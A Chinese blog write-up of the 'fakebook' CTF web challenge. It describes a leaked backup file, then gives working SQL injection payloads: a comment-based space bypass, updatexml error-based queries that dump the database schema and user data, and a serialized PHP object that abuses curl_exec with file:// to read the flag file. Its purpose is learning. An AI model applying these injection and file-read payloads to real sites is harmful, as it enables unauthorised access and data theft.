0
点赞
收藏
分享

微信扫一扫

网鼎杯--fakebook解题思路

我是小小懒 2022-05-02 阅读 78

之前对sql注入不熟悉的时候做了一遍差一点成功,现在学习了下sql又做了一遍,思路更加清晰了...

一、涉及知识点:

1.sql注入:参考web学习笔记 3-3 反序列化绕过、2-2 报错注入、3-1 空格绕过、3-11 未知表名爆数据库

2.信息泄露:user.php.bak,备份文件泄露

3.ssrf:file://协议配合curl_exec()函数进行文件读取(我也才知道这叫ssrf)

二、解题过程

打开页面后是这样的

由于join界面blog我怎么输都失败于是准备先进行目录扫描

1、扫描发现user.php.bak文件,下载后打开是页面功能的源码

2.分析代码发现curl_exec()函数,百度搜索发现该函数存在配合file://协议进行任意文件读取的漏洞,规划为反序列化漏洞已经八九不离十了

3.又扫描发现flag.php页面,这个时候思路就十分清晰了,那就是利用这个漏洞获取flag.php的路径并将flag.php文件读取即可

4.根据代码正则发现blog必须要http://开头,然后注册登录,进去后只有一个页面,上面参数no十分显眼,直接判断是否存在sql注入

5.回显存在sql注入,用order by判断列数为4列,同时爆出网站文件路径/var/www/html/

6.用联合注入爆回显点时发现select和union联合存在拦截,而单独存在时则不会过滤;初步判断是空格过滤,参考web安全学习笔记--sql基础下中知识点3-1空格绕过来绕过防火墙,页面回显点为2

7.页面出现反序列化unserialize函数,进一步印证了猜想 ,然后页面返回报错信息爆库,继续采用报错注入得表名、列名和数据

爆库名:union/**/select/**/1,2,3,4 from aaa; //得到fakebook数据库名

爆表名:and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)#   //得到users表

爆列名: and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),'~'),1)#  //得到no,username,passwd,data列

爆data数据:and updatexml(1,concat('~',(select group_concat(data) from users ),'~'),1)#   //得到反序列化数据

8.返回页面根据回显点2重新查询一下data数据

 9.知道文件路径和文件读取漏洞,直接构造序列化数据

O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

 10.将数据带入列中,查看源码获取flag的base64加密信息

 

最终flag:自己解去

举报

相关推荐

0 条评论